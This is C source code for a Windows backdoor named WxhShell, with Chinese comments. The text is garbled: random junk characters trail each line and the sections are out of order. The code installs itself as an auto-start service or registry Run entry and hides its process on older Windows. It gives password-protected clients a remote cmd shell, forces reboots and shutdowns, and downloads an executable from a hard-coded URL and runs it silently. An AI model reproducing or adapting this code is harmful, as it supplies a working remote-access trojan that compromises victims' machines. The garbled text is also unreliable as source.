  case 'd': { ( 4(,"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "fu:hHq  
    if(Boot(SHUTDOWN)) fPPC`d&Q3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ir|c<~_=  
    else { Kk`Lu S?  
    closesocket(wsh); r4mz   
    ExitThread(0); \zKO5,qw  
    } ZeLed[J^xJ  
    break; ,49Z/P  
    } bEm9hFvd  
  // 获取shell 8PR\a!"  
  case 's': { L3=5tuQ[5  
    CmdShell(wsh); Qk72ra)  
    closesocket(wsh); +/ rt'0o  
    ExitThread(0); C),i#v  
    break; Z+=M_{`{  
  } 1Li*n6tLX`  
  // 退出 slzB#  
  case 'x': { y9b%P]i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <*(^QOM  
    CloseIt(wsh); l];/,J^  
    break; ;SIWWuk  
    } _&%FGcAS  
  // 离开 T@A Qe[U'v  
  case 'q': { XY#.?<"Q8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); X|-[i hp;  
    closesocket(wsh); ;y_]w6|n  
    WSACleanup(); >x>/}`  
    exit(1); b~qH/A}h  
    break; y @S_CB 47  
        } |az2vD6P  
  } >, [@SF%  
  } ^t:dcY7  
V';l H2  
  // 提示信息 H@1}_d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /3&MUB*z&y  
} `/^ _W <  
  } 4(p`xdr}K  
hHHQmK<r  
  return; 9:P]{}  
} z0OxJe  
6tFi\,)E  
// shell模块句柄 T7%!JBg@  
int CmdShell(SOCKET sock) "Kdn`zN{  
{ $xWUzg1<U  
STARTUPINFO si; `XpQR=IOMb  
ZeroMemory(&si,sizeof(si)); Z"RgqNf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U (#JC(E-#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $ dF3@(p  
PROCESS_INFORMATION ProcessInfo; > K?OsvX  
char cmdline[]="cmd"; 1[T7;i$  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H>A6VDu  
  return 0; 4M|u T 9-  
} xEk8oc  
S>r",S  
// 自身启动模式 U8AH,?]#  
int StartFromService(void) Q2D!Agq=D  
{ fP V n;  
typedef struct (6 Od   
{ 2 U]d 1  
  DWORD ExitStatus; #K6cBfqI  
  DWORD PebBaseAddress; S YDE`-  
  DWORD AffinityMask; {eV8h}KIl  
  DWORD BasePriority; Yu>DgMW  
  ULONG UniqueProcessId; CF2Bd:mfZ  
  ULONG InheritedFromUniqueProcessId; f+Sb> $  
}   PROCESS_BASIC_INFORMATION; @(~:JP?KNC  
u;gO+)wqv  
PROCNTQSIP NtQueryInformationProcess; 4uo`XJuQ  
(rd [tc  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `}$o<CJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c&!mKMrk  
 7P7OTN  
  HANDLE             hProcess; s:Ml\['x  
  PROCESS_BASIC_INFORMATION pbi; 1J4Pnl+hN  
:t{~Mi=T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); E5d$n*A  
  if(NULL == hInst ) return 0; wOl?(w=|  
o^\Pt<~W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r8Mx +r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q8 ?kBKP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K"H\gmV_ g  
UtQey ;w  
  if (!NtQueryInformationProcess) return 0; B6Vlc{c5SO  
^taN?5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rtRbr_  
  if(!hProcess) return 0; 6!ve6ZB[p  
kg[%Q]]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G @..?>  
.$%p0Yx+  
  CloseHandle(hProcess); K>@yk9)vi  
%w*)7@,+-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0N.h:21(4  
if(hProcess==NULL) return 0; "6$V1B0KW  
h'):/}JPl  
HMODULE hMod; :"\,iH  
char procName[255]; d,V#5l-6  
unsigned long cbNeeded; udZOg  
;Y$>WKsV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &12K pEyf  
B7C3r9wj  
  CloseHandle(hProcess); amu;grH  
qN)y-N.LI(  
if(strstr(procName,"services")) return 1; // 以服务启动 ~#A}=, 4>  
+jGHR& A t  
  return 0; // 注册表启动 /SD}`GxH  
} cqS :Zq  
Az`Aa0h]7  
// 主模块 c=oDzAzuV\  
int StartWxhshell(LPSTR lpCmdLine) fFjpQ~0  
{ $;qi -K3j  
  SOCKET wsl; G*fo9eu5$  
BOOL val=TRUE; Wwq:\C  
  int port=0; z)qYW6o%  
  struct sockaddr_in door; tS'lJu  
/ (&E  
  if(wscfg.ws_autoins) Install(); 7A)\:k  
Km` SR^&\  
port=atoi(lpCmdLine); Gk,Bx1y  
E.oJ[;  
if(port<=0) port=wscfg.ws_port; GXtMX ha,  
21uK&nVf^l  
  WSADATA data; ~s!Q0G^G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a1U|eLmUb  
M"~jNe|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;b$P*dSG}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dqx#i-L23  
  door.sin_family = AF_INET; x sryXex;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I`kfe`_  
  door.sin_port = htons(port); 9DxHdpOk  
`8:)? 0Ez  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zfIo] M`  
closesocket(wsl); yn4T!r "  
return 1; xM*_1+<dT$  
} B$4*U"tk  
3S0.sU~_U  
  if(listen(wsl,2) == INVALID_SOCKET) { Td=4V,BN  
closesocket(wsl); ^\\3bW9}H  
return 1; (#Y~z',I  
} Da=EAG-{7  
  Wxhshell(wsl); Mt[yY|Ec|  
  WSACleanup(); QU"WpkO  
-+#%]P8l  
return 0; f%Q{}fC{*  
aF{_"X2  
} X'Ss#s>g  
 < $~lFV  
// 以NT服务方式启动 3nq?Y8yac  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h)KHc/S  
{ #2{-6ey  
DWORD   status = 0; Dp@XAyiA[  
  DWORD   specificError = 0xfffffff; f-ltV<C_  
3[YG BM(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; v, $r.g;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O\5%IfB'"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /k#-OXP~  
  serviceStatus.dwWin32ExitCode     = 0; g9_zkGc7  
  serviceStatus.dwServiceSpecificExitCode = 0; F^i3e31*t  
  serviceStatus.dwCheckPoint       = 0; Wv;0PhF  
  serviceStatus.dwWaitHint       = 0; sZ.<:mu[  
(m~>W"x/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = tv70d'  
  if (hServiceStatusHandle==0) return; 4"d,=P.{  
7=G 2sOC  
status = GetLastError(); S$6|K Y u  
  if (status!=NO_ERROR) ewZ?+G+m  
{ 2w?q7N%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 44]s`QyG  
    serviceStatus.dwCheckPoint       = 0; o<`vh*U@,4  
    serviceStatus.dwWaitHint       = 0; C"hN2Z!CD|  
    serviceStatus.dwWin32ExitCode     = status; @KN+)qP  
    serviceStatus.dwServiceSpecificExitCode = specificError; #lYyL`B+~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6EqA Y`y  
    return; TBj2(Z  
  } X8Z?G,[H  
t*{L[c9.Uq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ZlT }cA/n  
  serviceStatus.dwCheckPoint       = 0; #EzBB*kP  
  serviceStatus.dwWaitHint       = 0; wq)*bIv  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); W^(zP/  
} b IDUa  
7- B.<$uC  
// 处理NT服务事件,比如:启动、停止 <I+kB^Er  
VOID WINAPI NTServiceHandler(DWORD fdwControl) H;Wrcf2  
{ O[@!1SKT0  
switch(fdwControl) xQoZ[  
{ u?osX;'w  
case SERVICE_CONTROL_STOP: L\:|95Yq  
  serviceStatus.dwWin32ExitCode = 0; VUb>{&F[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q6zVu(  
  serviceStatus.dwCheckPoint   = 0; 7CIN!vrC|1  
  serviceStatus.dwWaitHint     = 0; /x VHd  
  { @CprC]X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aukcO ;oG<  
  } tpfgUZ{  
  return; <r%K i`u(p  
case SERVICE_CONTROL_PAUSE: y Zaf q"o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !Sc"V.o @!  
  break; CSM"Kz`  
case SERVICE_CONTROL_CONTINUE: AIF ?>wgq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; { 3G  
  break; v 6~9)\!j  
case SERVICE_CONTROL_INTERROGATE: 222 Y?3>@D  
  break; : 4ryi&Y  
}; }:Z.g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M'*s5:i  
} *ap,r&]#F  
(q)}`1d'  
// 标准应用程序主函数 7]=&Q4e4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #'L<7t K  
{ i8iT}^  
x|H`%Z  
// 获取操作系统版本 bA;OphO(  
OsIsNt=GetOsVer(); a:FU- ^B4~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O-?rFNavxp  
IH|zNg{\Y  
  // 从命令行安装 TI>5g(:3\  
  if(strpbrk(lpCmdLine,"iI")) Install(); r\NqY.U&  
5ggyk0  
  // 下载执行文件 |v&)O)Jg  
if(wscfg.ws_downexe) { Xs03..S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Tz @<hE  
  WinExec(wscfg.ws_filenam,SW_HIDE); ``MO5${  
} K'A+V  
lriezI  
if(!OsIsNt) { |9* Rnm_  
// 如果时win9x,隐藏进程并且设置为注册表启动 !)s(Lv%]  
HideProc(); L/k35x8  
StartWxhshell(lpCmdLine); c%&,(NJ]K  
} m#"_x{oa  
else v%tjZ5x  
  if(StartFromService()) <Q[%:LD  
  // 以服务方式启动 ~i,d%a  
  StartServiceCtrlDispatcher(DispatchTable); &l(T},-X  
else 7)?C+=,0  
  // 普通方式启动 Wu>]R'C  
  StartWxhshell(lpCmdLine); eG=d)`.JaV  
P,v7twc0M  
return 0; r!r08y f  
} xfk -Ezv  
corm'AJ/  
|J $A%27  
xUJ(tG3  
=========================================== Xdvd\H=  
;jP sS^X  
 2&6D`{"P  
Gp9 <LB\,  
}m:paB"3  
pb!2G/,.[  
" cVi_#9u"  
~OD6K`s3  
#include <stdio.h> ]LE,4[VxRz  
#include <string.h> "~r<ZG  
#include <windows.h> t]xz7VQ  
#include <winsock2.h> &3vm @  
#include <winsvc.h> >,6  
#include <urlmon.h> Q2CGC+   
d59rq<yI  
#pragma comment (lib, "Ws2_32.lib") K1 f1 T  
#pragma comment (lib, "urlmon.lib") kZ9Gl!g  
x{H+fq,M  
#define MAX_USER   100 // 最大客户端连接数 n:AZ(f   
#define BUF_SOCK   200 // sock buffer ib,`0=0= O  
#define KEY_BUFF   255 // 输入 buffer e$L C  
9Po>laT 5  
#define REBOOT     0   // 重启 8mX!mYO3c  
#define SHUTDOWN   1   // 关机 3.Fko<D4jD  
KOixFn1  
#define DEF_PORT   5000 // 监听端口 7%h;To-<6  
p$,7qGST  
#define REG_LEN     16   // 注册表键长度 ,xwiJfG; ]  
#define SVC_LEN     80   // NT服务名长度 #  X (2  
1P)K@j  
// 从dll定义API 175e:\Tw  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %1&X+s3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G^'We6<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g;l K34{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (Mv~0ShakO  
6(rm%c  
// wxhshell配置信息 5BrN uR$  
struct WSCFG { ju2H 0AQ  
  int ws_port;         // 监听端口 ZayJllaq^  
  char ws_passstr[REG_LEN]; // 口令 Y3@+aA  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~/^fdGr  
  char ws_regname[REG_LEN]; // 注册表键名 !(*&P  
  char ws_svcname[REG_LEN]; // 服务名 m"L^tSD~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LWrYK i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ("`"?G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d=1\=d/K  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =svFw&q"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JMAdsg/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %[XP}L$  
&XNt/bK -?  
}; FQek+[ox  
:k9T`Aa]  
// default Wxhshell configuration <?41-p-;  
struct WSCFG wscfg={DEF_PORT, +G;<D@gSa0  
    "xuhuanlingzhe", k$=L&id  
    1, le:}M M  
    "Wxhshell", R3g)LnN  
    "Wxhshell", gmp@ TY=:L  
            "WxhShell Service", @tT`s^e  
    "Wrsky Windows CmdShell Service", ru:"c^W:[  
    "Please Input Your Password: ", G[}v?RLI  
  1, mJ%^`mrI  
  "http://www.wrsky.com/wxhshell.exe", <*vR_?!  
  "Wxhshell.exe" ^*jwe^  
    };  $H*8H`  
u ?V}pYX  
// 消息定义模块 @@ j\OR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1_7p`Gxt[/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2K4Xu9-i:b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <v1H1'gv  
char *msg_ws_ext="\n\rExit."; [C!*7h  
char *msg_ws_end="\n\rQuit."; "Lvk?k )hx  
char *msg_ws_boot="\n\rReboot..."; E}Cz(5  
char *msg_ws_poff="\n\rShutdown..."; [kJ;Uxncz~  
char *msg_ws_down="\n\rSave to "; zE;|MU@|  
BMq> Cj+  
char *msg_ws_err="\n\rErr!"; "yymnIQ3u  
char *msg_ws_ok="\n\rOK!"; TY/'E#.  
Pk&=\i<  
char ExeFile[MAX_PATH]; l#uF%;GDX  
int nUser = 0; uV|F 3'jT  
HANDLE handles[MAX_USER]; 5$ How!  
int OsIsNt; @Ez>?#z  
#ChTel  
SERVICE_STATUS       serviceStatus; 2fdN@iruB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9q]f]S.L  
`*[Kmb\  
// 函数声明 oW OR7)?r  
int Install(void); !I|_vJ@<  
int Uninstall(void); ; FI'nL  
int DownloadFile(char *sURL, SOCKET wsh); HRTNIx  
int Boot(int flag); Qfp4}a=  
void HideProc(void); ^5Y<evjm  
int GetOsVer(void); .joCZKO  
int Wxhshell(SOCKET wsl); ]prw=rD  
void TalkWithClient(void *cs); E2l" e?AN~  
int CmdShell(SOCKET sock); 6Takx%U  
int StartFromService(void); -8)C6"V{  
int StartWxhshell(LPSTR lpCmdLine); _)@G,E33f@  
pZ $>Hh#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0~<?*{~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h0-.9ym  
;{8 X+H  
// 数据结构和表定义 XN-1`5:4I  
SERVICE_TABLE_ENTRY DispatchTable[] = _9-;35D_  
{ ys!O"=OJ  
{wscfg.ws_svcname, NTServiceMain}, /.s L[X-G  
{NULL, NULL} b+Sj\3fX  
}; ql%K+4@  
i=5!taxu}E  
// 自我安装 krGIE}5  
int Install(void) `?T::&`  
{ YS4"TOFw  
  char svExeFile[MAX_PATH]; Q?hf2iw  
  HKEY key; %#fjtbeB  
  strcpy(svExeFile,ExeFile); ka=A:biz  
1/bTwzR.g  
// 如果是win9x系统,修改注册表设为自启动 &R/-~w5  
if(!OsIsNt) {  Jj%xLv%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F.(W`H*1+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QlVj#Jv;~  
  RegCloseKey(key); 3Ch42<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rhYARr'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` *hTx|!'  
  RegCloseKey(key); l_((3e[)  
  return 0; Vh01y f  
    } W rT_7  
  } alxIc.[  
} '"q+[zwv  
else { Li8/GoJW-T  
f x:vhEX  
// 如果是NT以上系统,安装为系统服务 U4Zx1ieCKH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HI1|~hOb'  
if (schSCManager!=0) /g0' +DP  
{ <bn|ni|c"  
  SC_HANDLE schService = CreateService 7aRy])x  
  ( ;Ym6ey0t  
  schSCManager,  Z a,o  
  wscfg.ws_svcname, 0(C[][a*u  
  wscfg.ws_svcdisp, (gdzgLHy  
  SERVICE_ALL_ACCESS, UQI!/6F  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d:Z|It  
  SERVICE_AUTO_START, )-XD= ]  
  SERVICE_ERROR_NORMAL, 8xj_)=(sV!  
  svExeFile, )4o k@^.  
  NULL, { zL4dJw  
  NULL, F:Vl\YZ  
  NULL, , iEGf-!k  
  NULL, 8~!h8bkC  
  NULL f&F9ImZ  
  ); >y}> 5kv  
  if (schService!=0) 7u1o>a %9  
  { hQ)?LPUB  
  CloseServiceHandle(schService); Yjy%MR  
  CloseServiceHandle(schSCManager); | Eu#mN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q(WfWifu-|  
  strcat(svExeFile,wscfg.ws_svcname); 3]NKAPY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1)e[F#|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lq 1223  
  RegCloseKey(key); V1i^#;  
  return 0; #cikpHLXG  
    } t& yuo E  
  } 5s0`T]X-  
  CloseServiceHandle(schSCManager); +pv..\  
} i'ZnU55=  
} u9 *ic~Nh  
G=Xas"|  
return 1; 4X:mb}(  
} ,S}wOjb@  
u#ocx[  
// 自我卸载 '*U_!RmQ  
int Uninstall(void) _0&U'/cs  
{ #pD=TMefC  
  HKEY key; uYE"O UNWL  
QVb{+`.7  
if(!OsIsNt) { BL0xSNE**  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kT^`j^Jr  
  RegDeleteValue(key,wscfg.ws_regname); qP/McH?  
  RegCloseKey(key); Kk% I N9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Kk\,q?  
  RegDeleteValue(key,wscfg.ws_regname); *EU1`q*  
  RegCloseKey(key); `y"a>gHC  
  return 0; 3!KyO)8  
  } *TL3-S?   
} So NgDFD  
} wG 5H^>6u>  
else { [MAvU?;  
vA?3kfL|#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }y|_v^  
if (schSCManager!=0) pfMmDl5|  
{ -ADb5-px  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I0bkc3  
  if (schService!=0) P?=}}DI  
  { %zjyZ{=  
  if(DeleteService(schService)!=0) { Q2gz\N  
  CloseServiceHandle(schService); On;7  
  CloseServiceHandle(schSCManager); Z%{`j!!p  
  return 0;  o^d  
  } |kHzp^S  
  CloseServiceHandle(schService); fHF*#  
  } nI`9|W  
  CloseServiceHandle(schSCManager); m4c2WY6k  
} Z(ToemF)hi  
} \NL*$SnxP  
F@xKL;'N74  
return 1; KctbNMU]k  
} .A7ON1lc^C  
T mH5+  
// 从指定url下载文件 P.Qz>c^-C  
int DownloadFile(char *sURL, SOCKET wsh) D' h%.  
{ Q/l388'  
  HRESULT hr; <[z9*Tm  
char seps[]= "/"; gGbJk&E  
char *token; WQNFHRfO*n  
char *file; k|rbh.Q  
char myURL[MAX_PATH]; iB*1Yy0DC  
char myFILE[MAX_PATH]; rW2   
FQB6` M  
strcpy(myURL,sURL); rVb61$  
  token=strtok(myURL,seps); $*+`;PG-  
  while(token!=NULL) -pN'r/$3V  
  { CuYSvW  
    file=token; j>O!|V  
  token=strtok(NULL,seps); oazy%n(KZ  
  } Nj}-"R\u  
|EP=<-|  
GetCurrentDirectory(MAX_PATH,myFILE); 5J*h7  
strcat(myFILE, "\\"); 8^qLGUxz  
strcat(myFILE, file); ~J1UzUxX2  
  send(wsh,myFILE,strlen(myFILE),0); Nk$OTDwP  
send(wsh,"...",3,0); joJQ?lG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ds'7zxy/  
  if(hr==S_OK) <w0$0ku  
return 0; 0 t0m?rVW  
else Ehg(xK  
return 1; 6iJ\7  
\`|OAC0a  
} uVLKR PY  
0`kaT ?>  
// 系统电源模块 ;c0z6E /  
int Boot(int flag) ),U>AiF]  
{ b,-qyJW6  
  HANDLE hToken; S!.H _=z%p  
  TOKEN_PRIVILEGES tkp; 8i?:aN[.1b  
4w(#`'I>  
  if(OsIsNt) { ~|=goHmm[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L%0G >2x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); rL<a^/b/=  
    tkp.PrivilegeCount = 1; nrRP1`!]T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c>yqq'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Huho|6ohH  
if(flag==REBOOT) { .L))EB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hBNA,e:  
  return 0; Tj,1]_`=V$  
} 6,Y<1b*|Vo  
else { I@o42%w2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Eh|v>Yew  
  return 0; #@K %Mx  
} 9 az{j 1  
  } rCgoU xW`  
  else { \[W)[mH_  
if(flag==REBOOT) { M%qHf{ B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <~-cp61z;  
  return 0; =.8fES  
} v0'`K 5M  
else { "/qm,$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I2<5#|CXpZ  
  return 0; >sm<$'vZ/  
} -)$5[jM]  
} )~H&YINhn  
#Bi8>S  
return 1; B0"55g*c  
} ad,pHJ`  
>}6V=r3[+  
// win9x进程隐藏模块 5 p! rZ  
void HideProc(void) \ 3HB  
{ zpBkP-%}E  
2(K@V6j$M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8)51p+a  
  if ( hKernel != NULL ) l"1at eM3  
  { QK@[ b3-h1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); T6fm`uL&L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); rJ)8KY>  
    FreeLibrary(hKernel); OVa38Aucr3  
  } ZBl!7_[_  
pkT26)aW  
return; \9T /%[r#  
} ~Rk ~Zn  
yZw5?{g@  
// 获取操作系统版本 ?'+ kZ|  
int GetOsVer(void) .Arcsg   
{ xdkC>o4>  
  OSVERSIONINFO winfo; u#~q86k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); %e%VHHO|  
  GetVersionEx(&winfo); Ue2%w/Yo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n(?BZ'&!O  
  return 1; X>4qL'b:z  
  else 9@yi UX  
  return 0; ]c~W$h+F  
} PiZU _~A  
qM8"* dL  
// 客户端句柄模块  "DsL$D2e  
int Wxhshell(SOCKET wsl) $Z[W}7{pt#  
{ -wrVhCd~g]  
  SOCKET wsh; j$Wd[Ja+O  
  struct sockaddr_in client; lmpBf{~ S  
  DWORD myID; 9HBRWh6  
$ v0beN6MG  
  while(nUser<MAX_USER) HGl.dO 7NU  
{ =@y ?Np^A  
  int nSize=sizeof(client); >N8*O3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \zx$]|AQ  
  if(wsh==INVALID_SOCKET) return 1; |cIv&\ x  
8c^Hfjr0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z|6,*XEc   
if(handles[nUser]==0) =Cg1I\  
  closesocket(wsh); L wP  
else O"V;otlC  
  nUser++; E2u9>m4_J  
  } 1yV+~)by3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pUD(5v*0R  
f S-PM3  
  return 0; iM(Q-%HP_  
} r%412 #  
t5;)<N`  
// 关闭 socket gUHx(Fi[4  
void CloseIt(SOCKET wsh) dBNx2T}_0  
{ L5 Q^cY]p  
closesocket(wsh); jHQnD]Hr  
nUser--; j`:D BO&)\  
ExitThread(0); P]%)c6Uh  
} %=`wN^3t2  
z[+Sb;  
// 客户端请求句柄 g#b9xTG J^  
void TalkWithClient(void *cs) r2G38/K  
{ Df5!z\dx  
B&>z&!}  
  SOCKET wsh=(SOCKET)cs; %:e.ES  
  char pwd[SVC_LEN]; nN5fP<H2x  
  char cmd[KEY_BUFF]; A5?q&VS}p  
char chr[1]; 2wwJ>iR`  
int i,j; O 8XHaVLg3  
*~0U4kw+  
  while (nUser < MAX_USER) { l?)!^}Qc  
@RXkj-,eC#  
if(wscfg.ws_passstr) { b!oj3|9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9|NH5A"H.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?4cj"i  
  //ZeroMemory(pwd,KEY_BUFF); O b'Br  
      i=0; w9TE E,t;5  
  while(i<SVC_LEN) { Znd ,FqHk  
zyP9 n[eZ  
  // 设置超时 &>P<Zw-  
  fd_set FdRead; UU*v5&  
  struct timeval TimeOut; dCpDA a3  
  FD_ZERO(&FdRead); i !;9A6D  
  FD_SET(wsh,&FdRead); _"[Ls?tRX  
  TimeOut.tv_sec=8; 6KDm#7J  
  TimeOut.tv_usec=0; G.3yuok9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q)Q1a;o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |Pi! UZB  
xO&qo8*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); " 6ScVa5)  
  pwd=chr[0]; .,F`*JVFq  
  if(chr[0]==0xd || chr[0]==0xa) { vEw8<<cgg  
  pwd=0; 7KL@[  
  break; WS//0  
  } 6uIgyO*;k  
  i++; +E-CsNAZ*"  
    } $:RR1.Tv  
:}z `4S@b  
  // 如果是非法用户,关闭 socket JFFluL=-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Og|*g  
} 1YN w=  
@Yn+ir0>O  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V5'(op/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;z T3Fv\  
NG_7jZzXA9  
while(1) { |u]IOw&1  
3JEg3|M(  
  ZeroMemory(cmd,KEY_BUFF);  JKV&c= I  
`BVXF#sb  
      // 自动支持客户端 telnet标准   K[yP{01  
  j=0; 0.)q5B`  
  while(j<KEY_BUFF) { XAZPbvG|$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CaC \\5wl  
  cmd[j]=chr[0]; $,zW0</P*l  
  if(chr[0]==0xa || chr[0]==0xd) { V1haAP[#  
  cmd[j]=0; X0Wx\xDg[  
  break; +ZOKfX  
  } =Cd{bj.8  
  j++; P$Q,t2$A  
    }  +;-ZU  
0:`*xix  
  // 下载文件 QP/ZD|/ t1  
  if(strstr(cmd,"http://")) { G*_qqb{B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  &Ufp8[  
